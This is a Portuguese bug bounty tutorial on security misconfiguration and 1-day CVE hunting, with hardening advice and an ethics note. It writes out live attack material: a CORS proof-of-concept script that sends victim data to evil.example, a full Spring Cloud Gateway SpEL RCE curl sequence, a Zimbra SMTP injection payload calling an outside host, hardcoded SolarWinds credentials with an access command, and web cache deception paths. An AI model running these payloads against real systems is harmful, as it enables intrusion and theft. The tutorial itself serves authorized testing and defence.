Security Misconfiguration e Caça a CVEs/1-day
Como achar configurações inseguras (debug exposto, .git, backups, headers, CORS) e transformar uma versão de software em bounty: fingerprint → CVE → PoC com responsabilidade.
A porta que ficou destrancada
Você chega num prédio comercial e a recepção tem catraca, crachá, biometria — segurança de verdade. Aí você dá a volta e encontra a porta de serviço escancarada, com a chave na fechadura e um post-it dizendo “senha do Wi-Fi: admin123”. Ninguém invadiu nada. A porta já estava aberta. Security Misconfiguration é exatamente isso: a aplicação pode ter código impecável, mas alguém esqueceu o debug=true ligado, deixou o .git público, subiu um backup.zip no servidor ou rodou uma versão de software com uma falha já conhecida.
Esse é o tipo de bug que recompensa leitura e atenção mais do que payload mirabolante. É a vulnerabilidade A05:2021 do OWASP Top 10, e na prática de bug bounty ela se divide em duas grandes frentes que vamos cobrir aqui:
- Misconfiguration “clássica” — algo foi mal configurado e vaza dado/acesso (debug,
.git, headers, CORS, credenciais default). - Caça a CVEs / 1-day (n-day) — você descobre qual software e qual versão o alvo roda, procura uma vulnerabilidade pública pra aquela versão, e aplica o PoC com cuidado.
💡 PoC (Proof of Concept): a prova mínima de que o bug é real e explorável — o passo a passo/payload que demonstra o impacto sem causar dano. Detalhe no Glossário.
As duas frentes se encontram num lugar só: o alvo entregou informação que não devia. Bora destrinchar.
O que é Security Misconfiguration (A05)?
Misconfiguration é toda falha que vem de uma configuração insegura — não de um bug no código de negócio, mas de como o ambiente, o servidor, o framework ou a infraestrutura foram montados.
Analogia: o cofre (o código) pode ser à prova de balas, mas se o manual de instruções com a combinação ficou em cima da mesa (o
.git), ou se a fábrica mandou o cofre com a senha de fábrica0000e ninguém trocou (credencial default), o cofre é inútil. A falha não está no cofre — está em como ele foi instalado.
O OWASP é literal sobre os sinais. Segundo a página oficial do A05:2021, a aplicação pode estar vulnerável se:
- falta hardening (endurecimento de segurança) em qualquer parte da stack, ou há permissões mal configuradas em serviços de nuvem;
- recursos desnecessários estão habilitados (portas, serviços, páginas, contas ou privilégios a mais);
- contas e senhas padrão (default) continuam ativas e inalteradas;
- o tratamento de erro revela stack traces ou mensagens excessivamente informativas;
- as configurações de servidores/frameworks/bibliotecas/bancos não estão em valores seguros;
- o servidor não envia os headers de segurança (ou envia com valores frouxos).
Repare que CVE/1-day se encaixa direto no quinto item: rodar um framework desatualizado (ex.: Spring, Struts, ThinkPHP) com falha pública conhecida é uma misconfiguration de manutenção.
Por que isso importa (e quanto paga)
O impacto varia muito — e por isso o bounty também:
- Information disclosure puro (um header faltando, uma versão exposta, um
/debug/pprof): geralmente Baixo/Médio, faixa de R$200 a R$500. Às vezes só “info”, às vezes a peça que abre o próximo bug. - Vazamento de credenciais (
.gitcom senha de banco,wp-config.php.save,backup.rarcom connection string): pula pra Alto, R$800 a R$3.000+, porque credencial vira acesso interno. - RCE via CVE (Spring Cloud Gateway, Zimbra, Symfony em modo dev): Crítico, o topo da tabela. Você controla o servidor.
⚠️ A diferença entre “info” e “crítico” é a cadeia. Uma versão exposta sozinha vale pouco. Mas aquela versão → uma CVE de RCE → shell no servidor é a história mais bem paga do ramo. Pense sempre: “o que esse vazamento me destrava?”
💡 Como ler o CVSS aqui. Ao longo do post você verá o score CVSS v3.1 (o que o NVD publica pra maioria das CVEs aqui citadas) e, quando ajuda, o CVSS v4.0 ao lado. A grande mudança do v4.0 é separar o impacto em sistema vulnerável (
VC/VI/VA) e sistema subsequente (SC/SI/SA) — útil pra distinguir “o estrago foi só na app afetada” de “vazou pra rede/outro sistema”. Importante: o NVD ainda não publicou vetor v4.0 pra essas CVEs específicas; onde mostro um número v4.0, ele vem da calculadora oficial FIRST sobre o vetor equivalente — e eu sempre mostro o vetor pra você reproduzir.
Como funciona por trás
A raiz é sempre a mesma: o ambiente expõe algo que deveria estar fechado. Tecnicamente, isso aparece de três jeitos numa request HTTP:
1. Um arquivo/endpoint que não devia ser público responde 200.
1
2
GET /.git/HEAD HTTP/2
Host: alvo.com
1
2
3
4
HTTP/2 200 OK
Content-Type: text/plain
ref: refs/heads/master # <- o servidor entregou o miolo do Git. Não deveria.
2. A resposta carrega informação demais (versão, stack trace, variável de ambiente):
1
2
3
4
5
6
HTTP/2 500 Internal Server Error
Content-Type: text/html
PHP Fatal error: Uncaught PDOException: SQLSTATE[HY000] [1045]
Access denied for user 'app_prod'@'10.0.3.14' # <- usuário do banco + IP interno vazando
in /var/www/app/src/Db.php:88
3. Os headers de resposta abrem brechas (CORS frouxo, headers de segurança ausentes):
💡 CORS (Cross-Origin Resource Sharing): conjunto de headers que diz ao navegador quais outros sites podem ler a resposta de uma origem. Configurado frouxo, deixa um site malicioso ler dado autenticado. Detalhe no Glossário.
1
2
3
HTTP/2 200 OK
Access-Control-Allow-Origin: https://evil.example # <- reflete a origem do atacante
Access-Control-Allow-Credentials: true # <- e ainda manda mandar o cookie
Nenhum desses casos exige “quebrar” nada. O servidor entregou de bandeja. Seu trabalho é saber onde pedir.
Tipos e variações
| Tipo | O que é | Como costuma aparecer |
|---|---|---|
| Endpoint de debug exposto | painel/profiler de desenvolvimento aberto em produção | /debug/pprof (Go), app_dev.php (Symfony), /actuator (Spring), ?XDEBUG_SESSION |
.git exposto | diretório de versionamento público → dump do código-fonte | /.git/HEAD, /.git/config respondem 200 |
| Arquivos de backup | cópias temporárias deixadas no webroot | index.php.save, wp-config.php.bak, app.php~, backup.zip, bin.rar |
| Directory listing | servidor lista o conteúdo da pasta | página “Index of /uploads” |
| Credenciais default | login de fábrica nunca trocado | admin:admin, tomcat:tomcat, painéis (Jenkins, Grafana) abertos |
| Headers de segurança ausentes | sem HSTS, CSP, X-Frame-Options etc. | clickjacking, downgrade, MIME sniffing |
| Erros verbosos / stack trace | exceção detalhada vaza pro usuário | trace PHP/Java/.NET, query SQL, dado de outro cliente |
| Variáveis de ambiente expostas | .env ou debug do framework cospe segredos | MYSQL_DATABASE_PASSWORD, AWS_SECRET, tokens |
| CORS mal configurado | reflete origem + permite credenciais | leitura cross-origin de dado autenticado |
| CVE / 1-day | versão vulnerável conhecida rodando | fingerprint da versão → CVE → PoC |
Recon — como encontrar
Misconfiguration é 80% recon. O segredo é mapear o que está exposto e que tecnologia roda. Vamos por partes.
1. Fuzzing de arquivos e paths sensíveis
A ferramenta padrão é o ffuf (fuzzer de HTTP que troca a palavra FUZZ por cada linha de uma wordlist e reporta os status codes — se você ainda não viu, está no post de Recon). Você joga uma wordlist de “leaky paths” e vê o que responde:
1
2
# -mc = match codes (só mostra esses status); -t = threads (segura o ritmo p/ não tomar block)
ffuf -w leaky-paths.txt -t 20 -u https://alvo.com/FUZZ -mc 200,301,302,401,403
Wordlists boas pra essa caça: a leaky-paths do projeto ayoubfathi/leaky-paths e a clássica raft-* do SecLists. Procure especificamente por:
1
2
3
4
.git/HEAD .git/config .env
wp-config.php.save index.php.bak backup.zip
.DS_Store /debug/pprof/ /actuator/gateway/routes
phpinfo.php /server-status bin.rar
💡 Dica de ritmo: por padrão o
ffufusa 40 threads (-t 40) e não limita a taxa. Baixe pra-t 20(ou menos) e, pra travar de fato as requisições por segundo, use-rate(ex.:-rate 10= no máx. 10 req/s) — assim você não derruba o alvo nem toma bloqueio do WAF (Web Application Firewall — o filtro que fica na frente da aplicação e barra requisições suspeitas; ver Glossário). Alguns programas até especificam o limite de req/s permitido; respeite.
💡 Fuzzing logado > fuzzing cego. Fuzz passivo todo mundo faz, e o ativo agressivo vive caindo no WAF/blacklist. A jogada mais limpa: logue na aplicação, desligue as automações do Burp e clique em TUDO manualmente — depois monte sua própria wordlist a partir do histórico do Burp (paths reais que a app chama, parâmetros, rotas de infra). Você fuzza com termos que a própria app usa, então não destoa de um usuário legítimo e dificilmente é flagrado. Ferramentas que ajudam a extrair esses termos: Paramalyzer (exporta parâmetros depois de navegar),
gau+ LinkFinder, e scanners de JS com regex.
💡 Não domina a stack? Monte um lab antes. Misconfig é específico de cada tecnologia: o que vaza num ThinkPHP não é o que vaza num Spring. Se você não conhece a fundo o software que o alvo roda, suba uma instância local dele e descubra quais são os arquivos de config e endpoints sensíveis (
docker-compose.yaml, heapdump,.git, backups característicos) — aí volte ao alvo sabendo exatamente o que procurar. Lab + wordlist personalizada + paciência na unha bate scanner cego.
2. Fingerprint de tecnologia e versão (o coração da caça a CVE)
Antes de procurar uma CVE você precisa saber o que e qual versão o alvo roda. Sinais valiosos:
- Headers de resposta:
Server: Apache/2.4.25,X-Powered-By: PHP/7.0.33,X-Application-Context. - Rodapé / página de login: muitos painéis exibem a versão (ex.: “Consul Enterprise 1.9.4”).
/wp-json/,meta generator, paths característicos de WordPress, Moodle, GLPI etc.- Wappalyzer (extensão de navegador / projeto open-source): detecta CMS, frameworks e versões só de abrir a página. WhatWeb e httpx (
-tech-detect) fazem o mesmo no terminal.
1
2
# httpx fingerprintando tecnologia + título + status de uma lista de hosts
cat hosts.txt | httpx -title -status-code -tech-detect
3. Shodan + favicon hash (fingerprint em escala)
O Shodan é um buscador de dispositivos/serviços expostos na internet. O truque mais poderoso de fingerprint é o favicon hash: muitas empresas reusam o mesmo favicon.ico em toda a infra, então o hash do favicon vira uma impressão digital. O Shodan indexa esse hash no filtro http.favicon.hash.
Detalhe técnico (pra você entender, não decorar): o Shodan não faz hash do arquivo cru. Ele pega o conteúdo do favicon, codifica em base64 (com quebra de linha a cada 76 caracteres, como o
base64clássico do e-mail), e roda MurmurHash3 (mmh3) — um hash rápido e não-criptográfico — sobre essa string. É por isso que você precisa dommh3pra reproduzir o número.
Calculando o hash de um favicon:
1
2
3
4
5
# pip install mmh3 requests
import requests, mmh3, base64
r = requests.get("https://alvo.com/favicon.ico", verify=False)
b64 = base64.encodebytes(r.content) # base64 com \n a cada 76 chars
print(mmh3.hash(b64)) # mmh3.hash devolve int de 32 bits com sinal (pode ser negativo)
Com o hash em mãos, você acha todos os hosts no mundo que usam aquele mesmo favicon (logo, provavelmente o mesmo software/empresa). Exemplo usando o hash documentado do GitLab (1265477436), que é o próprio exemplo da doc oficial do Shodan:
1
shodan search 'http.favicon.hash:1265477436' --fields ip_str,port # 1265477436 = favicon do GitLab
Outros hashes famosos pra calibrar a técnica: Jenkins = 81586312. A ideia: identifique a tecnologia pelo favicon, encontre a frota toda, e aí cruze com a versão pra mapear quem está vulnerável.
4. IP de origem atrás de CDN
Detalhe que vira bounty sozinho: se o DNS/configuração vaza o IP real do servidor por trás de uma CDN/WAF (Cloudflare etc.), dá pra acessar o IP direto e contornar a proteção. Acha o IP via Shodan/ping/registros DNS antigos, bate direto nele e confirma que a proteção foi pulada. Costuma cair como Misconfig de severidade Média (risco aumentado de DDoS e bypass de WAF).
Exploração passo a passo (do básico ao avançado)
Nível 1 — .git exposto → dump do código-fonte
Quando o .git é deixado público, o histórico inteiro do repositório está acessível via HTTP. Primeiro confirme (manualmente ou com a extensão de navegador DotGit, que avisa quando um site tem .git aberto):
1
2
curl -s https://alvo.com/.git/HEAD
# saída esperada: "ref: refs/heads/master" -> confirmado
Depois reconstrua o repositório com o git-dumper (ferramenta que baixa e remonta o .git mesmo sem directory listing — ela busca HEAD, config, packed-refs, os objetos e faz o checkout):
1
2
3
4
# pip install git-dumper
git-dumper https://alvo.com/.git/ ./dump
cd dump && ls
# composer.json Dockerfile index.php vendor/ ...
Agora grepe por segredos no que você baixou:
1
grep -rEi 'password|secret|api_key|DB_|mysql|--password=' ./dump
Em casos reais isso entrega credenciais de banco hardcoded em scripts de migração (DB_HOST, -u root --password=...), tokens internos, e no pior (melhor pra você) cenário, arquivos que executam comandos — escalando o .git exposto pra RCE completo.
Nível 2 — Arquivos de backup → credenciais
Devs editam index.php no servidor e o editor salva um index.php.save/.bak/~. O servidor serve esses arquivos como texto (não executa o PHP), então o código-fonte vaza:
1
2
GET /wp-config.php.save HTTP/2
Host: alvo.com
1
2
3
4
5
6
7
8
HTTP/2 200 OK
Content-Type: text/plain
<?php
define('DB_NAME', 'wp_prod');
define('DB_USER', 'wp_admin');
define('DB_PASSWORD', '<-- senha em texto puro aqui -->'); # <- jackpot
define('DB_HOST', 'db.internal:3306');
Variações que valem fuzzar: .save, .bak, .old, .orig, .txt, ~, .swp, e arquivos compactados (backup.zip, site.tar.gz, bin.rar — às vezes com DLLs/JARs lá dentro contendo connection strings).
Nível 3 — Endpoint de debug / variáveis de ambiente
Frameworks em modo de desenvolvimento expõem profilers e dumps. Dois clássicos:
Go pprof (debug do runtime de Go) aberto em produção:
1
2
GET /debug/pprof/ HTTP/2
Host: alvo.com
A página lista perfis (heap, goroutine, allocs…) e vaza nomes de funções, caminhos de arquivo e dados internos — além de permitir DoS por profiling ilimitado. É a CVE-2019-11248 quando o /debug/pprof não-autenticado do Kubelet do Kubernetes fica exposto pela porta healthz (CVSS v3.1 8.2 Alto no NVD, vetor AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L — confidencialidade alta + DoS por profiling; o NVD não publica vetor v4.0). Afeta Kubernetes < 1.12.10 / 1.13.8 / 1.14.4 / 1.15.0.
ThinkPHP sem PATHINFO cospe todas as variáveis de ambiente:
1
2
GET /index.php?s=example HTTP/2
Host: alvo.com
1
2
3
4
5
HTTP/2 200 OK
{"MYSQL_DATABASE":"app","MYSQL_DATABASE_USERNAME":"root",
"MYSQL_DATABASE_PASSWORD":"<-- senha do banco -->","SERVER_ADDR":"10.0.3.14"}
# <- credenciais do MySQL + IP interno via debug do framework
Isso é a CVE-2022-25481 (ThinkPHP 5.0.24 configurado sem PATHINFO; CVSS v3.1 7.5 Alto, vetor AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — só confidencialidade). Note: o vendor pode argumentar que “é comportamento do modo debug” — e de fato a CVE é disputada no NVD por isso (um terceiro contesta que a exposição seria funcionalidade intencional do modo debug) —, mas vazamento de credencial é aceito na maioria dos programas de bug bounty.
Nível 4 — CORS mal configurado → roubo de dado autenticado
O bug de CORS perigoso é o servidor refletir a origem do atacante e permitir credenciais. Teste mandando uma Origin arbitrária:
1
2
3
4
GET /api/account HTTP/2
Host: alvo.com
Origin: https://evil.example # <- origem que você controla
Cookie: session=<cookie_da_vítima>
1
2
3
HTTP/2 200 OK
Access-Control-Allow-Origin: https://evil.example # <- refletiu a SUA origem
Access-Control-Allow-Credentials: true # <- e libera mandar cookie
Se a resposta reflete sua origem com Allow-Credentials: true, qualquer site malicioso consegue ler o dado autenticado da vítima. O PoC é uma página no seu domínio:
1
2
3
4
5
6
<script>
// roda no navegador da vítima quando ela visita evil.example
fetch('https://alvo.com/api/account', { credentials: 'include' })
.then(r => r.text())
.then(d => fetch('https://evil.example/log?d=' + encodeURIComponent(d)));
</script>
⚠️
Access-Control-Allow-Origin: *junto comAllow-Credentials: trueo navegador nem permite (é proibido pela spec). O bug explorável é o reflexo dinâmico da origem — por isso teste com uma origem custom, não confie só no*. (PortSwigger — CORS).
Nível 5 — Avançado: caça a CVE/1-day e PoC com responsabilidade
Aqui está o pulo do gato. A metodologia é uma cadeia:
1
fingerprint da versão → buscar CVE pra aquela versão → ler o PoC e ENTENDER → aplicar com cuidado → reportar
Passo a — Ache a versão. (recon, seção acima). Digamos que você confirmou Spring Cloud Gateway com o endpoint /actuator aberto.
Passo b — Busque a CVE. Procure por "Spring Cloud Gateway" CVE no NVD/MITRE, no exploit-db, e acompanhe feeds (canal cveNotify no Telegram, GitHub de PoCs). Você chega na CVE-2022-22947: injeção de SpEL no Actuator → RCE (afeta Spring Cloud Gateway 3.1.0 e 3.0.0–3.0.6; corrigida em 3.1.1 / 3.0.7). CVSS v3.1 10.0 Crítico (NVD) — vetor AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, com S:C (scope changed) porque, da Gateway, o SpEL alcança o SO inteiro. O NVD não publica vetor v4.0; pelo vetor equivalente de RCE não-autenticado (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) a calculadora FIRST v4.0 dá 9.3 Crítico. (SpEL = Spring Expression Language, a mini-linguagem de expressões do Spring; se você consegue injetar SpEL, consegue executar código Java no servidor.)
Passo c — Leia o PoC e entenda o que ele faz (NUNCA rode às cegas). O exploit cria uma rota com um filtro que avalia uma expressão SpEL executando um comando:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1) cria uma rota com payload SpEL que executa "id"
curl -s alvo.com/actuator/gateway/routes/hack -X POST \
-H 'Content-Type: application/json' -d '{
"id":"hack",
"filters":[{"name":"AddResponseHeader","args":{
"name":"Result",
"value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}}],
"uri":"http://example.com"}'
# 2) aplica (refresh) e dispara a rota; o header Result traz a saída de "id"
curl -s alvo.com/actuator/gateway/refresh -X POST
curl -si alvo.com/actuator/gateway/routes/hack | grep -i result
# Result: uid=0(root) gid=0(root) ... <- RCE confirmado como root
💡 Comando seguro de prova de conceito: use
id,whoamiouhostname— comandos inofensivos que provam execução sem causar dano. Nunca roderm, abra reverse shell em alvo de bounty sem autorização explícita, nem leia dados além do necessário. A prova é “executeiide veiouid=0”, não “destruí o servidor”.
Outros 1-days reais pra ilustrar a técnica (cite sempre a CVE oficial):
| CVE | Software (versões afetadas) | CVSS v3.1 (NVD) | Técnica (resumo) |
|---|---|---|---|
| CVE-2024-45519 | Zimbra Collaboration: 8.8.15 < P46, 9 < P41, 10 < 10.0.9, 10.1 < 10.1.1 | 9.8 Crítico (C:H/I:H/A:H) | Command injection via SMTP: o RCPT TO: é passado pro popen do postjournal sem sanitizar. Payload usa ${IFS} no lugar do espaço: RCPT TO: <"a$(curl${IFS}oast.me)"@dominio>. RCE não-autenticado. (ProjectDiscovery) |
| CVE-2024-28987 | SolarWinds Web Help Desk ≤ 12.8.3 HF1 | 9.1 Crítico (C:H/I:H/A:N) | Credenciais hardcoded (helpdeskIntegrationUser:dev-C4F8025E7) → ler/alterar tickets. PoC: curl -k -u 'helpdeskIntegrationUser:dev-C4F8025E7' https://alvo:8443/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/. (Horizon3) |
| CVE-2022-25481 | ThinkPHP 5.0.24 (sem PATHINFO) | 7.5 Alto (C:H/I:N/A:N, disputed) | index.php?s=example vaza variáveis de ambiente (credenciais MySQL). Só confidencialidade. |
💡 Vuln vs. subsequent (lendo o impacto). Repare na forma do impacto, não só no número: Zimbra é
C:H/I:H/A:H(RCE = compromete tudo no host), SolarWinds éC:H/I:H/A:N(lê e altera ticket), ThinkPHP éC:Hpuro (só lê dado). No CVSS v4.0 essa distinção fica explícita nos eixos sistema vulnerável (VC/VI/VA) vs. subsequente (SC/SI/SA): nesses quatro casos o estrago é no próprio sistema afetado, sem impacto subsequente catalogado (SC/SI/SA:N). O NVD ainda não publicou vetor v4.0 pra essas CVEs, então não cito número v4.0 oficial aqui — se precisar, jogue o vetor v3.1 equivalente na calculadora FIRST v4.0. O Zimbra, aliás, tem divergência conhecida de score: NVD pontua 9.8 (S:U) e o CNA pontua 10.0 (S:C).
⚠️ Cuidado com falso positivo de scanner. O Nuclei (scanner de templates da ProjectDiscovery — apresentado na Etapa 7 do Recon) é ótimo pra detectar versões e CVEs em massa, mas nem todo achado é vulnerabilidade real. Antes de reportar, leia o template e entenda a CVE: tem template que só confirma “a versão é X” sem que o impacto exista naquele contexto — e tem CVE de impacto baixo que parece grande no relatório (ex.: a CVE-2022-1595, no plugin HC Custom WP-Admin URL ≤ 1.4: um cookie
validloginslug=1só faz o WordPress revelar a URL secreta de login — pouco impacto sozinho). Reportar lixo de scanner queima sua reputação no programa. (Como traduzir esse achado em severidade defensável: Severidade, impacto e triagem.)
💡 CWE (Common Weakness Enumeration): o tipo de falha (categoria). O CVE é a instância específica num software; o CWE é a classe dela.
💡 ASLR (Address Space Layout Randomization): proteção do SO que embaralha endereços de memória. Desligada, facilita muito explorar buffer overflow.
🆕 Exemplo fresquíssimo (2026) — quando a versão não basta: “NGINX Rift” (CVE-2026-42945). Em maio/2026 a F5 divulgou um heap buffer overflow (CWE-122) no
ngx_http_rewrite_moduledo nginx — um bug que viveu ~18 anos num servidor que responde por mais de 30% da web. CVSS v3.1 8.1 Alto / v4.0 9.2 Crítico (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H), sem autenticação. O detalhe que importa pro caçador: ter a versão afetada no headerServerNÃO prova a falha. Ela só dispara com uma config específica — uma diretivarewriteseguida derewrite/if/set, usando captura PCRE não-nomeada ($1,$2) e com?na string de substituição (aí o re-escape de args expande+→%2Be estoura o buffer do worker). Em blackbox você confirma a versão, não a config → trate como candidato a whitebox, não vuln confirmada. E o impacto confiável é DoS (crash do worker); RCE só com ASLR desabilitado/contornável. Como DoS quase sempre é fora de escopo, reporte a versão + config vulnerável como evidência — não fique derrubando worker em produção. Afetadas: nginx OSS 0.6.27–1.30.0 e Plus R32–R36; corrigido em 1.30.1 (stable) e 1.31.0 (mainline) — Plus em R32 P6 / R36 P4 — ou troque$1/$2por captura nomeada(?<nome>...). Fontes: advisory F5 K000161019, NVD, análise do descobridor (depthfirst) e uma explicação detalhada em PT-BR.
Bônus — Web Cache Deception (o cache guardando dado de outro)
Nem toda misconfiguration está no servidor de origem — às vezes está na camada de cache (CDN / reverse proxy) na frente dele. Web Cache Deception (WCD) engana o cache pra ele armazenar uma resposta autenticada e sensível (de uma vítima) como se fosse um arquivo estático público; depois o atacante, sem login, pede a mesma URL e recebe os dados da vítima. (Não confunda com Web Cache Poisoning: lá o atacante manipula a chave de cache pra servir um payload malicioso a outros usuários; aqui ele lê a resposta de outro — é um ataque de confidencialidade.)
A raiz é uma discordância de parser: o cache decide guardar olhando a URL/extensão (“terminou em .css? é estático, cacheia”), enquanto o origin ignora o sufixo e devolve o conteúdo dinâmico autenticado. Três classes de payload pra testar (sempre na sua própria conta de teste, com um cache buster pra nunca cachear dado de gente real):
1
2
3
1) Extensão: /minha-conta/wcd.css # origin ignora o sufixo; cache vê .css e guarda
2) Delimitador: /minha-conta;wcd.js # origin corta no ';'; cache não → cacheia como .js
3) Normalização: /static/..%2fminha-conta?wcd # origin resolve → /minha-conta; cache vê o prefixo /static
Detecção: procure headers de cache (X-Cache: hit/miss, CF-Cache-Status, Age) e confirme a transição MISS→HIT servindo o conteúdo da vítima sem cookie. Se a resposta cacheada traz token de sessão/CSRF ou API key, escala pra account takeover (aí vira Alto/Crítico). Defesa: cachear por Content-Type (nunca por extensão), respeitar Cache-Control: no-store, private no conteúdo dinâmico, normalização consistente entre cache e origin, e proteções de CDN (ex.: Cloudflare Cache Deception Armor). Aprofunde nos labs da PortSwigger.
Caso real-fictício: de “versão exposta” a RCE
Cenário fictício, baseado em padrões reais de bug bounty (anonimizado).
Você está testando app.exemplo.com. No recon, o Wappalyzer acusa um gateway Spring, e o ffuf com a leaky-paths acha:
1
2
3
ffuf -w leaky-paths.txt -t 20 -u https://app.exemplo.com/FUZZ -mc 200
# ...
# actuator/gateway/routes [Status: 200] # <- Actuator aberto. Cheiro de CVE.
Passo 1 — Fingerprint da versão. O /actuator/info e o header confirmam Spring Cloud Gateway numa faixa vulnerável (< 3.1.1 / < 3.0.7).
Passo 2 — Mapear a CVE. Busca no NVD → CVE-2022-22947 (SpEL injection → RCE). Leio o PoC público inteiro pra entender cada parâmetro antes de tocar no alvo.
Passo 3 — Provar com comando inofensivo. Aplico o payload com o comando id (e só ele):
1
2
HTTP/2 200 OK
Result: uid=0(root) gid=0(root) groups=0(root) # <- saída do "id" refletida no header
uid=0(root) = execução de comando como root. RCE confirmado, sem causar dano.
O que a tela do Burp mostraria: painel Request/Response; na Response, o header Result destacado em vermelho com uid=0(root), provando a execução. Nada de reverse shell, nada de tocar em dado de cliente.
Passo 4 — Report. Título [RCE] - Execução remota de comandos via SpEL injection no Spring Cloud Gateway (CVE-2022-22947). No resumo: a versão exposta, o link da CVE, o passo a passo, e a prova com id. Severidade Crítica (CVSS v3.1 10.0 / v4.0 9.3). Recomendação clara: atualizar pra ≥ 3.1.1/3.0.7 ou desabilitar/proteger o endpoint do Actuator. (Veja Como escrever um report que paga.)
Defesa em camadas
Misconfiguration não se resolve com um patch só — é processo de hardening. O OWASP é direto: ambiente repetível e mínimo, revisão de configs, e verificação automatizada.
1. Não exponha o que não precisa (e bloqueie no servidor). .git, backups e debug não deveriam estar no webroot — e mesmo que estejam, o servidor nega:
1
2
3
# Nginx — bloqueia dotfiles e backups
location ~ /\.(git|env|svn|ht) { deny all; return 404; }
location ~* \.(bak|save|old|orig|swp|sql|zip|tar|rar)$ { deny all; return 404; }
1
2
3
4
# Apache — equivalente
<FilesMatch "(^\.|\.(bak|save|old|orig|swp|sql)$)">
Require all denied
</FilesMatch>
2. Debug e erros: nunca verbose em produção.
1
2
3
4
// PHP — produção esconde o erro do usuário e loga internamente
ini_set('display_errors', '0'); // <- usuário nunca vê stack trace
ini_set('log_errors', '1');
error_reporting(E_ALL); // logar tudo, mostrar nada
Em Spring/Django/Rails, garanta debug=false / APP_ENV=production. Desabilite endpoints de profiler (management.endpoint.gateway.enabled: false no Spring) e proteja o Actuator com Spring Security.
3. Headers de segurança — mande as diretivas pro cliente.
1
2
3
4
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Content-Security-Policy "default-src 'self'" always;
4. CORS — valide a origem contra uma allowlist, nunca reflita cego.
1
2
3
4
5
6
7
8
9
10
// Node/Express — só origens conhecidas, e nada de credenciais com "*"
const ALLOW = new Set(['https://app.exemplo.com', 'https://admin.exemplo.com']);
app.use((req, res, next) => {
const o = req.headers.origin;
if (ALLOW.has(o)) { // <- checa a allowlist
res.setHeader('Access-Control-Allow-Origin', o);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
5. Credenciais default e versões. Troque toda senha de fábrica, remova contas de exemplo, e tenha um processo de patch: rodar um software desatualizado é a misconfig de manutenção que vira CVE. Use SCA/dependabot e um scanner (Nuclei) internamente pra se achar antes do atacante.
❌ O que NÃO basta: esconder o
.git“tirando o link” (ele continua acessível por path), confiar que “ninguém vai adivinhar obackup.zip”, deixar o Actuator aberto “só na rede interna” (que vaza), ou achar que CORS*sem credenciais é sempre seguro (é, até alguém combinar com outro bug).
Ferramentas + labs legais
ffuf— fuzzing de paths/arquivos sensíveis (github).git-dumper— dump de.gitexposto (github). Extensão DotGit pra detectar no navegador.httpx/ WhatWeb / Wappalyzer — fingerprint de tecnologia e versão.- Shodan +
mmh3— fingerprint por favicon hash em escala. - Nuclei (github) — templates de CVE/misconfig (leia o template antes de reportar!).
- Fontes de CVE: NVD, MITRE CVE, exploit-db.
- Labs autorizados: PortSwigger Web Security Academy (CORS, information disclosure), TryHackMe, HackTheBox, e VMs vulneráveis do Vulnhub pra praticar CVE/1-day com segurança.
Checklist do caçador
- Fuzzing de leaky-paths (
.git,.env, backups,/debug,/actuator). - Confirmei e dumpei qualquer
.gitexposto; grepei por credenciais. - Procurei arquivos de backup (
.save,.bak,~,.zip,.rar). - Testei headers de segurança ausentes e CORS com
Origincustom. - Provoquei erro pra ver se vaza stack trace / dado de outro cliente.
- Fingerprint da tecnologia e versão (header, rodapé, Wappalyzer, favicon hash).
- Cruzei a versão com CVE pública no NVD/exploit-db.
- Li o PoC inteiro e entendi cada parâmetro antes de tocar no alvo.
- Provei com comando inofensivo (
id/whoami), sem dano nem dado de terceiro. - Validei achado de scanner (Nuclei) manualmente antes de reportar.
Pegadinhas / o que NÃO funciona
- “Achei
.git, mando o report e pronto.” Não. Faça o dump e mostre o que vazou (credencial, código)..gitvazio ou com info inútil pode virar “Médio” ou ser fechado. - Reportar header faltando como crítico. Header de segurança ausente sozinho é, na maioria, informativo/baixo. Mostre o impacto encadeado (ex.: falta de
X-Frame-Options+ ação sensível = clickjacking real). - Confiar 100% no Nuclei. Template que só detecta versão ≠ vulnerabilidade explorável. Entenda a CVE.
- Rodar PoC de RCE às cegas. Você pode derrubar o serviço, executar algo destrutivo ou estourar o escopo. Leia o exploit, use comando inofensivo.
- Secret de build em JS achar que é segredo.
VUE_APP_*,pk_live_do Stripe, sitekey de reCAPTCHA são públicos por design. Valide se o que você achou é realmente sensível (use o KeyHacks) antes de reportar.
O que você precisa lembrar
- Misconfiguration = porta deixada aberta. O servidor entrega o que não devia: arquivo, erro, header ou versão.
- A cadeia é o ouro: versão exposta → CVE → PoC → RCE. Sozinho, cada elo vale pouco; juntos, valem crítico.
- Recon e leitura ganham de payload. Quem fuzza paths, faz fingerprint certo e lê o PoC com calma acha o que scanner cego não acha.
💡 Dica de ouro: sempre que identificar qual software e qual versão o alvo roda, pare e pergunte “existe CVE pública pra essa versão?”. Metade da caça a 1-day é só fingerprint preciso + paciência pra ler o PoC. A outra metade é a disciplina de provar com
ide parar por aí.
Nota ética
Tudo aqui é pra testes autorizados — bug bounty dentro do escopo, pentests contratados e labs legais. Dumpar .git de terceiros, usar credencial default em sistema alheio ou rodar PoC de RCE sem autorização é crime, e ainda por cima é desnecessário quando existe lab bom de sobra. Ao provar uma CVE, use o comando mais inofensivo possível, não toque em dado de cliente, e reporte com responsabilidade — incluindo a recomendação de correção. A graça é proteger, não quebrar.
Referências
- OWASP A05:2021 — Security Misconfiguration
- PortSwigger — CORS e Information disclosure
- NVD — National Vulnerability Database · MITRE CVE · exploit-db
- CVE-2022-22947 — Spring Cloud Gateway (oficial) · PoC
- CVE-2024-45519 — Zimbra RCE (ProjectDiscovery)
- CVE-2024-28987 — SolarWinds WHD (Horizon3)
- git-dumper · Shodan — Deep Dive: http.favicon
